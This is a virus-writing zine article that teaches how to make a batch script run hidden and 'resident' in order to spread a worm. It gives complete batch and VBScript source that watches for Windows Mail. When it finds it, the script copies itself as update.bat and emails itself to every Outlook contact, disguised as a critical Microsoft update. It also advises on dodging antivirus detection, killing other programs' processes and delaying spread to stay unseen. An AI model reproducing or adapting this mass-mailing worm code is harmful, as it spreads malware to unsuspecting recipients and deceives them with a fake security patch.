MEANDERINGS:

                                   Theory On Batch Memory Residency Techniques
  
                                                      By

                                                cOrRuPt G3n3t!x


   Many people have said that a batch program cannot go memory resident, although, when using ASM MS-Dos is
   used to send the program into the higher/lower memory modules. So i find it hard to believe that we cannot
   execute our batch into the computers memory... anyway moving along; i have proposed a method that could
   possibly 'emulate' your batch file going resident. This method includes your batch file checking
   if parameters are met (via looping your batch file in the backround without the CMD window) and then executing
   it's routine if the parameter is met. This is only a theory which will work, but whether its practical is up to
   the users opinion and usage of the knowlegde gained here. To do this you will need an application called
   'Bat_To_Exe_Converter.exe' which can be downloaded from "www.f2ko.de" or even a simple google of the files name
   will help. Now with this application in hand, let the choas begin...


  1)Theory Behind The Madness:
   --------------------------

   First off i'd like to say this is completely my own method i have never seen it done before so if you use
   it atleast give me a lil' credit man? As i myself really hate lamers!!! With that said...
   Lets go into detail on this theory of batch memory residency; we loop our batch in the backround without
   the cmd.exe window; thus 'emulating' our batch residency. But now we have a looping BAT; Whoah not much help
   so now here is where the ingenius part comes in, we ask our batch on each loop to check for current parameters
   (such as is a certain process running? what is current time? What is the current date? Has the user copied any
   new files to a certain directory? Is there an Anti-Virus rinning? Has a new drive bee connected etc) once we 
   have found the answer to this information in REAL TIME we can then let our batch execute specific routines etc.


  2)Info On The Outside Sources:
    ---------------------------

   WTF am I talking about? Well the application we are using to help hide our batch's window. This is a great lil'
   application which can convert basically any bat file to an exe (although i have had problems cinverting a 5,12MB
   batch to a workable .exe, it gets to a certain parameter where there is to many GOTO commands and the does some
   funky shit and exits, but other then that i have had no problems with it, it's very useful not only for virii
   but also source code protection. You can add file versions, author name, passwords to execute file, it's
   also a great heuristics and AV fooler as once converted to an .exe it is most of the time undetected (although
   the heuristics for batch is completely bullshit on almost all AV's i've tested!!!!) another great feature is
   that you can add external files to the .exe which will then be called up by the batch which makes scripting
   your virii a less complicated job, but our focus is the 'invisble application' where no cmd window pops up.
   My advice to you is play around with the app a bit to get a good 'feel' for it.


  3)Simple Task:

   Right now i first want to give you a simple batch file to make, copy and pste the script below to
   a batch file and then execute, you will see lines of echo i'm looping. now exit the batch script.
   Next open your newly downloaded Bat_To_Exe_Converter.exe and add your batch file where it is labled
  'batch file' it will then save the .exe of it in the same directory, next click on the invisible application
   and then compile. After that execute the new .exe it will not show any window but is running in the backround
   Open taskManger.exe look for CMD.exe under processes and the end the process.
  --------------------------------[Cut Here]----------------------------------------
  :a
  echo I'm looping
  goto a
  --------------------------------[Cut Here]----------------------------------------
   So there you have it! your batch gone resident and now window shown, only problem, system resources are
   being eaten away but f*ck it that aint our computer it's our scripts side effect! (I mean when you get sick
   you cough and gave a runny nose, take medicine then you feel sleepy. NOTHING IS PERFECT)


  4)CG's Process Parameter Execution (CGPPE):
   ------------------------------------------

   This refers to the method where by we will grab a list of current processes, find a string in the list
   relating to the apllication we are looking for(In this case Windows Mail), if the application is found
   to be in memory, our batch will run it's MS Outlook spread routine and then terminate it's residency.
   This will help when your Batch's main infect routine is over a p2p or if you start up your virus on every
   boot. To get a list of current processes we will use a a batch program to create the vbs and then execute
   the vbs which will take the current processes to %Temp% and delete it after oit's done. So firts we shall
   look at the VBS process script. It will create ProcessList.vbs in %temp% and proclis.tmp in %temp%
   The proclis.tmp is the file containing current processes:
  --------------------------------[Cut Here]----------------------------------------
  echo Option Explicit>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Dim File>>%temp%\ProcessList.vbs
  echo Dim ObjFileSystem>>%temp%\ProcessList.vbs
  echo Dim ObjOutputFile>>%temp%\ProcessList.vbs
  echo Dim objWMIService>>%temp%\ProcessList.vbs
  echo Dim oproc>>%temp%\ProcessList.vbs
  echo Dim Var>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo File = "Process.txt">>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Set ObjFileSystem = CreateObject("Scripting.fileSystemObject")>>%temp%\ProcessList.vbs
  echo Set ObjOutputFile = ObjFileSystem.CreateTextFile("%temp%\proclis.tmp")>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Set objWMIService = GetObject("winmgmts:\root\cimv2")>>%temp%\ProcessList.vbs
  echo Set oproc = objWMIService.ExecQuery("Select * from Win32_Process",,48)>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo For Each oproc In oproc>>%temp%\ProcessList.vbs
  echo 	Var = oproc.ExecutablePath>>%temp%\ProcessList.vbs
  echo 	if Var ^<^> "" then>>%temp%\ProcessList.vbs
  echo		 ObjOutputFile.WriteLine(Var)>>%temp%\ProcessList.vbs
  echo    End If>>%temp%\ProcessList.vbs
  echo Next>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo ObjOutputFile.Close>>%temp%\ProcessList.vbs
  echo Set objFileSystem = Nothing>>%temp%\ProcessList.vbs
  echo Set oproc = Nothing>>%temp%\ProcessList.vbs
  echo Set objWMIService = Nothing>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  cscript //I //nologo %temp%\ProcessList.vbs
  --------------------------------[Cut Here]----------------------------------------

   Now that we have the list of current processes we will search in this list of processes for the one we are
   looking for, which in my case is Windows Mail. See below my batch script for this:
  --------------------------------[Cut Here]----------------------------------------
  :loop
  call %temp%\ProcessList.vbs
  FIND /i "C:\Program Files\Windows Mail\WinMail.exe" %temp%\proclis.tmp >nul
  if not errorlevel 1 (goto routine)
  if errorlevel 1 (del %temp%\proclis.tmp" >nul )
  goto loop
  :routine
  echo.on error resume next>>C:\MSO.vbs 
  echo.dim a,b,c,d,e>>C:\MSO.vbs 
  echo.set a=Wscript.CreateObject("Wscript.Shell")>>C:\MSO.vbs 
  echo.set b=CreateObject("Outlook.Application")>>C:\MSO.vbs 
  echo.set c=b.GetNameSpace("MAPI")>>C:\MSO.vbs 
  echo.for y=1 To c.AddressLists.Count>>C:\MSO.vbs 
  echo.set d=c.AddressLists(y)>>C:\MSO.vbs 
  echo.x=1 '>>C:\MSO.vbs
  echo.set e=b.CreateItem(0)>>C:\MSO.vbs
  echo.for o=1 To d.AddressEntries.Count>>C:\MSO.vbs 
  echo.f=d.AddressEntries(x)>>C:\MSO.vbs 
  echo.e.Recipients.Add f>>C:\MSO.vbs 
  echo.x=x+1>>C:\MSO.vbs
  echo.next>>C:\MSO.vbs 
  echo.e.Subject="Your Subject here">>C:\MSO.vbs 
  echo.e.Body="Your Body here">>C:\MSO.vbs 
  echo.e.Attachments.Add("c:\p2pdon.bat")>>C:\MSO.vbs 
  echo.e.DeleteAfterSubmit=False>>C:\MSO.vbs 
  echo.e.Send>>C:\MSO.vbs 
  echo.f ="">>C:\MSO.vbs 
  echo.next>>C:\MSO.vbs
  call C:\MSO.vbs
  Del C:\MSO.vbs
  --------------------------------[Cut Here]----------------------------------------

   So we now have a list of current processes, a way to find if the process is active and then an errorlevel
   checker to do the work.


  4a)Final CG Process Parameter Exexcution:
     -------------------------------------

   My final script for Windows Mail execution via a 'resident' batch file will look like this
   (It is only 2.565 bytes 'big'):
  --------------------------------[Cut Here]----------------------------------------
  @echo off
  echo Option Explicit>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Dim File>>%temp%\ProcessList.vbs
  echo Dim ObjFileSystem>>%temp%\ProcessList.vbs
  echo Dim ObjOutputFile>>%temp%\ProcessList.vbs
  echo Dim objWMIService>>%temp%\ProcessList.vbs
  echo Dim oproc>>%temp%\ProcessList.vbs
  echo Dim Var>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo File = "Process.txt">>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Set ObjFileSystem = CreateObject("Scripting.fileSystemObject")>>%temp%\ProcessList.vbs
  echo Set ObjOutputFile = ObjFileSystem.CreateTextFile("%temp%\proclis.tmp")>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo Set objWMIService = GetObject("winmgmts:\root\cimv2")>>%temp%\ProcessList.vbs
  echo Set oproc = objWMIService.ExecQuery("Select * from Win32_Process",,48)>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo For Each oproc In oproc>>%temp%\ProcessList.vbs
  echo 	Var = oproc.ExecutablePath>>%temp%\ProcessList.vbs
  echo 	if Var ^<^> "" then>>%temp%\ProcessList.vbs
  echo		 ObjOutputFile.WriteLine(Var)>>%temp%\ProcessList.vbs
  echo    End If>>%temp%\ProcessList.vbs
  echo Next>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  echo ObjOutputFile.Close>>%temp%\ProcessList.vbs
  echo Set objFileSystem = Nothing>>%temp%\ProcessList.vbs
  echo Set oproc = Nothing>>%temp%\ProcessList.vbs
  echo Set objWMIService = Nothing>>%temp%\ProcessList.vbs
  echo.>>%temp%\ProcessList.vbs
  :loop
  call %temp%\ProcessList.vbs
  FIND /i "C:\Program Files\Windows Mail\WinMail.exe" %temp%\proclis.tmp >nul
  if not errorlevel 1 (goto routine)
  if errorlevel 1 (del %temp%\proclis.tmp" >nul )
  goto loop
  :routine
  copy %0 "C:\update.bat"
  echo.on error resume next>>C:\MSO.vbs 
  echo.dim a,b,c,d,e>>C:\MSO.vbs 
  echo.set a=Wscript.CreateObject("Wscript.Shell")>>C:\MSO.vbs 
  echo.set b=CreateObject("Outlook.Application")>>C:\MSO.vbs 
  echo.set c=b.GetNameSpace("MAPI")>>C:\MSO.vbs 
  echo.for y=1 To c.AddressLists.Count>>C:\MSO.vbs 
  echo.set d=c.AddressLists(y)>>C:\MSO.vbs 
  echo.x=1 '>>C:\MSO.vbs
  echo.set e=b.CreateItem(0)>>C:\MSO.vbs
  echo.for o=1 To d.AddressEntries.Count>>C:\MSO.vbs 
  echo.f=d.AddressEntries(x)>>C:\MSO.vbs 
  echo.e.Recipients.Add f>>C:\MSO.vbs 
  echo.x=x+1>>C:\MSO.vbs
  echo.next>>C:\MSO.vbs 
  echo.e.Subject="This is a critical windows update">>C:\MSO.vbs 
  echo.e.Body="Microsoft urges all consumers to install this patch in case of emergency">>C:\MSO.vbs 
  echo.e.Attachments.Add("c:\update.bat")>>C:\MSO.vbs 
  echo.e.DeleteAfterSubmit=False>>C:\MSO.vbs 
  echo.e.Send>>C:\MSO.vbs 
  echo.f ="">>C:\MSO.vbs 
  echo.next>>C:\MSO.vbs
  call C:\MSO.vbs
  del C:\MSO.vbs
  del %temp%\proclis.tmp
  del %temp%\ProcessList.vbs
  --------------------------------[Cut Here]----------------------------------------
   Now run this script as a normal batch, you will see the CMD window stating that the string cannot be found.
   open your Windows MAil and the screen dissapears this is because the process was found and the routine
   of infecting Windows Mail was executed. (PLEASE MAKE SURE YOUR INTERNET IS OFFLINE TO AVOID ACTUAL SPREADIN
   I CANNOT AND WILL NOT TAKE RESPONSIBILTY FOR MISUSE). Now we can just convert our batch to a .exe  and remember
   to check the 'invisible apllications' box and compile. There you have an emulation of batch residency.


  5)Practical Usage Of CGPPE:
    ------------------------

   Now i myself think the above script is really impractical for a batch file who's main infection routine is Outlook.
   But if you are using another infect routine as the main one and Outlook as a secondary protocol this will help.
   But this does not mean thats all; we could use this script to stay resident and wait until a certain game or 
   apllication is executed, then let our virus kill the game/apllications process. We could also use this for a more 
   exotic MS Outlook spreading where by for example our batch counts how many times IExplorer or Windows mail
   (or whatever you wish) has been opened and when it reaches a certain number it then executes the MS Outlook script
   This will help prevent network traffic and your virus will take longer to be seen, Depending on it's payload.
   There are many more uses for my batch, i have just giving the basic concept on how to check for a process in memory
   i do hope this can be used in some future batch virii.
 
   Please remember, however, you cannot write text to your hidden apllication as is it will not be seen. You'd
   have to let your hidden batch create a seperate batch to execute any text or visuals.


   Thats the end of the first emulated memory resident batch i know of (all residency is done via batch scripting!)
   It is a long process but i am slowly making it shorter, approxiamtely 2/3 of it's original size. stay posted for updates.
   THIS IS FOR EDUCATIONAL PURPOSES ONLY. 
    



  [?]Contact Me:
    -----------

  [@]immortalassassin@rocketmail.com